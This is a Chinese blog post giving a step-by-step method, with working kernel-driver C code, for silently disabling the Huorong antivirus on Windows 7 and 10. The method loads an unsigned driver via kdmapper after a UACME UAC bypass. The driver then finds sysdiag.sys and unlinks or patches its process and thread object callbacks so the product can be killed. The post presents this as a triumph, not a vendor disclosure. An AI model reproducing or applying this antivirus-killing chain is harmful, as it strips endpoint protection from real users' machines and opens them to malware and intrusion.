前言
因为看到洛谷上有人问 怎么用taskkill关掉PopBlock.exe
我就立马去尝试了一下,试了一会发现一堆方法都不行
我当然服气不了,于是当场花了一晚上整了一下
正文
0x01 尝试
首先,我们先试一下能不能用一些冷门方法钻火绒主防的漏洞
包括但不限于:排APC调用ExitProcess,内存抹0,劫持线程到无效地址等等
显然,全都失败了,不然也不会有这篇博文了
0x02 分析
火绒到底干什么了,为什么我们的方法全都不行?
使用PCHunter检查内核状态,我们可以看到,火绒的驱动sysdiag.sys挂了一堆回调
在R3,如果内部逻辑完善,这些回调是几乎无法突破的屏障
看来只能写驱动了,之后再用kdmapper加载就好
0x03 目标
想要把火绒关掉,我们需要干掉的是它在PsProcessType和PsThreadType上的回调
因为这两个回调才涉及到我们把它的进程结束需要的权限问题
只要我们把这些回调干掉,即使是taskkill也能干掉火绒
0x04 实现
下文环境为Windows 7 SP1
大体来说,我们需要遍历PsProcessType和PsThreadType上的回调,找到属于sysdiag.sys的回调并删除之
听起来很简单不是吗?然而不是
具体来说,我们要做的分为几步
1.遍历已经加载的驱动模块,找到sysdiag.sys并获得他的镜像基址与大小
2.遍历PsProcessType和PsThreadType上的回调
3.对于每个回调,判断回调例程的地址是否在sysdiag.sys的镜像中,如果是,则将这个回调脱链或者向回调例程覆盖0xC3
这个实现的重点在于第一第二步,你也许觉得遍历驱动模块和回调并不是很麻烦的事情
但是确实不那么简单
这两步需要用到的相关API和结构大部分都没有公开,我们需要收集一些资料
不过好在我们并不是第一个做这些的,有许多资料可以参考,虽然大部分资料有些过时,但也让我们的工作容易很多
遍历驱动模块
网络上的资料,对于这一步大多利用的是DRIVER_OBJECT.DriverSection的未公开结构_LDR_DATA_TABLE_ENTRY中的链表来遍历驱动模块
但我们用的是kdmapper加载驱动,没有DriverObject能用,于是我们并不能用这个方法
但是没法遍历这个链表也没关系,我们还知道\Driver目录对象里存着所有的已加载驱动
你可能会想到ObReferenceObjectByName,但这个API没有公开,目录对象的ObjectType也没公开,用这个实在是太麻烦了
查阅MSDN,很容易能找到ZwOpenDirectoryObject和ObReferenceObjectByHandle是公开的,同时ObReferenceObjectByHandle不一定要指明ObjectType,简直完美
对于这个目录对象的内容,ReactOS里给出了定义,我们先搬过来用,不行再说(事实证明即使在Windows10下也可以用,虽然结构不完全一样了但对我们没有影响)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #define NUMBER_HASH_BUCKETS 37
typedef struct _OBJECT_DIRECTORY_ENTRY { struct _OBJECT_DIRECTORY_ENTRY* ChainLink; PVOID Object; #if (NTDDI_VERSION >= NTDDI_WS03) ULONG HashValue; #endif } OBJECT_DIRECTORY_ENTRY, * POBJECT_DIRECTORY_ENTRY;
typedef struct _OBJECT_DIRECTORY { struct _OBJECT_DIRECTORY_ENTRY* HashBuckets[NUMBER_HASH_BUCKETS]; #if (NTDDI_VERSION < NTDDI_WINXP) ERESOURCE Lock; #else EX_PUSH_LOCK Lock; #endif #if (NTDDI_VERSION < NTDDI_WINXP) BOOLEAN CurrentEntryValid; #else struct _DEVICE_MAP* DeviceMap; #endif ULONG SessionId; #if (NTDDI_VERSION == NTDDI_WINXP) USHORT Reserved; USHORT SymbolicLinkUsageCount; #endif } OBJECT_DIRECTORY, * POBJECT_DIRECTORY;
|
其中OBJECT_DIRECTORY_ENTRY.Object便是我们想要的指向DriverObject的指针了
如此,遍历驱动模块的这一步就完美地解决了,这里给出一些代码以供参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| UNICODE_STRING driverDirName = { 0 }; RtlInitUnicodeString(&driverDirName, L"\\Driver"); UNICODE_STRING targetDriverName = { 0 }; RtlInitUnicodeString(&targetDriverName, L"sysdiag.sys"); NTSTATUS status;
OBJECT_ATTRIBUTES attri; InitializeObjectAttributes(&attri, &driverDirName, OBJ_KERNEL_HANDLE, NULL, NULL);
POBJECT_DIRECTORY objectDirectory; HANDLE dirHandle; status = ZwOpenDirectoryObject(&dirHandle, 0, &attri);
ULONG_PTR targetBase = 0; ULONG targetSize = 0;
if (NT_SUCCESS(status)) { status = ObReferenceObjectByHandle(dirHandle, 0, 0, KernelMode, &objectDirectory, NULL); ZwClose(dirHandle);
if (NT_SUCCESS(status)) { KdPrint(("Enumerating DRIVER_OBJECT\r\n")); for (ULONG vI = 0; vI < NUMBER_HASH_BUCKETS; vI++) { PDRIVER_OBJECT driverObject = NULL; PLDR_DATA_TABLE_ENTRY driverSection = NULL; POBJECT_DIRECTORY_ENTRY directoryEntry = objectDirectory->HashBuckets[vI]; while (directoryEntry && MmIsAddressValid(directoryEntry)) { if (MmIsAddressValid(driverObject = (PDRIVER_OBJECT)directoryEntry->Object) && MmIsAddressValid(driverSection = (PLDR_DATA_TABLE_ENTRY)driverObject->DriverSection)) { KdPrint(("Found: %wZ, Start: 0x%p, Size: 0x%p\r\n", &driverSection->BaseDllName, driverObject->DriverStart, driverObject->DriverSize)); if (RtlEqualUnicodeString(&driverSection->BaseDllName, &targetDriverName, TRUE)) { KdPrint(("Found Target\r\n")); targetBase = driverObject->DriverStart; targetSize = driverObject->DriverSize; } } directoryEntry = directoryEntry->ChainLink; } } ObDereferenceObject(objectDirectory); } else KdPrint(("Failed ObReferenceObjectByHandle, vStatus = 0x%08X\r\n", status)); } else KdPrint(("Failed ZwOpenDirectoryObject, vStatus = 0x%08X\r\n", status));
|
遍历回调
使用WinDbg运行dt _OBJECT_TYPE、dt _OBJECT_TYPE_INITIALIZER,我们可以得到这样的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| typedef struct _OBJECT_TYPE_INITIALIZER { __int16 Length; UCHAR ObjectTypeFlags; UCHAR CaseInsensitive : 1; UCHAR UnnamedObjectsOnly : 1; UCHAR UseDefaultObject : 1; UCHAR SecurityRequired : 1; UCHAR MaintainHandleCount : 1; UCHAR MaintainTypeList : 1; UCHAR SupportsObjectCallbacks : 1; UCHAR CacheAligned : 1; __int32 ObjectTypeCode; __int32 InvalidAttributes; GENERIC_MAPPING GenericMapping; __int32 ValidAccessMask; __int32 RetainAccess; POOL_TYPE PoolType; __int32 DefaultPagedPoolCharge; __int32 DefaultNonPagedPoolCharge; PVOID DumpProcedure; LONG* OpenProcedure; PVOID CloseProcedure; PVOID DeleteProcedure; LONG* ParseProcedure; LONG* SecurityProcedure; LONG* QueryNameProcedure; UCHAR* OkayToCloseProcedure; }OBJECT_TYPE_INITIALIZER, * POBJECT_TYPE_INITIALIZER, ** PPOBJECT_TYPE_INITIALIZER;
typedef struct _OBJECT_TYPE { LIST_ENTRY TypeList; UNICODE_STRING Name; VOID* DefaultObject; UCHAR Index; unsigned __int32 TotalNumberOfObjects; unsigned __int32 TotalNumberOfHandles; unsigned __int32 HighWaterNumberOfObjects; unsigned __int32 HighWaterNumberOfHandles; OBJECT_TYPE_INITIALIZER TypeInfo; EX_PUSH_LOCK TypeLock; unsigned __int32 Key; LIST_ENTRY CallbackList; }OBJECT_TYPE, * POBJECT_TYPE;
|
其中CallbackList,顾名思义存放着这个ObjectType上的回调
但是这个链表里存着什么呢?参考这篇博文(即使很老但仍然部分有效)
于是我们就得到了这个链表内容的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| typedef struct _CALLBACK_ENTRY CALLBACK_ENTRY, * PCALLBACK_ENTRY;
typedef struct _CALLBACK_ENTRY_ITEM { LIST_ENTRY EntryItemList; OB_OPERATION Operations; CALLBACK_ENTRY* CallbackEntry; POBJECT_TYPE ObjectType; POB_PRE_OPERATION_CALLBACK PreOperation; POB_POST_OPERATION_CALLBACK PostOperation; __int64 unk; }CALLBACK_ENTRY_ITEM, * PCALLBACK_ENTRY_ITEM;
typedef struct _CALLBACK_ENTRY { __int16 Version; char buffer1[6]; POB_OPERATION_REGISTRATION RegistrationContext; __int16 AltitudeLength1; __int16 AltitudeLength2; char buffer2[4]; WCHAR* AltitudeString; CALLBACK_ENTRY_ITEM Items; }CALLBACK_ENTRY, * PCALLBACK_ENTRY;
|
现在我们就可以遍历回调了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| PLIST_ENTRY entry = objType->CallbackList.Flink; while (entry != &objType->CallbackList) { PCALLBACK_ENTRY_ITEM callback = CONTAINING_RECORD(entry, CALLBACK_ENTRY_ITEM, EntryItemList); KdPrint(("Found: Pre: 0x%p, Post: 0x%p\r\n", callback->PreOperation, callback->PostOperation)); ULONG_PTR cur = callback->PreOperation; if (targetBase <= cur && cur < targetBase + targetSize) { KdPrint(("Pre: 0x%p in the target\r\n", cur)); } cur = callback->PostOperation; if (targetBase <= cur && cur < targetBase + targetSize) { KdPrint(("Post: 0x%p in the target\r\n", cur)); } entry = entry->Flink; }
|
禁用回调
这一步是最简单的一步了,我们找到符合要求的回调之后,当场将其脱链或向例程中覆盖0xC3即可
绕过写保护覆盖0xC3可以修改cr0或使用MDL,都比较简单
0x05 提权
这样一来我们的任务就完成了,使用kdmapper加载驱动即可
但是kdmapper还要过UAC,起点还能不能再低点?
当然可以,这里我们用到另一个知名项目UACME
用UACME的69号方法便可以成功绕过UAC了
0x06 兼容
当然,以上操作都是在Windows 7 SP1下进行的,换到Windows 10下我们还要进行一些兼容
首先,火绒的主防驱动在Windows 10改了个名,叫sysdiag_win10.sys
然后,Windows 10下_OBJECT_TYPE_INITIALIZER的结构也有所变化,并且这些变化会影响我们的程序运行,这里不再列出,读者可以自行使用WinDbg查看
其他地方经过测试并不存在问题,于是我们完成了Windows 10的兼容,就是这么简单
结语
这样一来,我们成功从未过UAC的R3一路提权到了R0,把火绒的主防关掉了,过程中火绒一点反应都没有,简直是完美
现在,taskkill PopBlock.exe!
攻防没有尽头,猫抓老鼠的游戏永远不会结束。今天找到的方法也许明天就会修复,但是又总有新的方法,这就是这场游戏的魅力所在啊!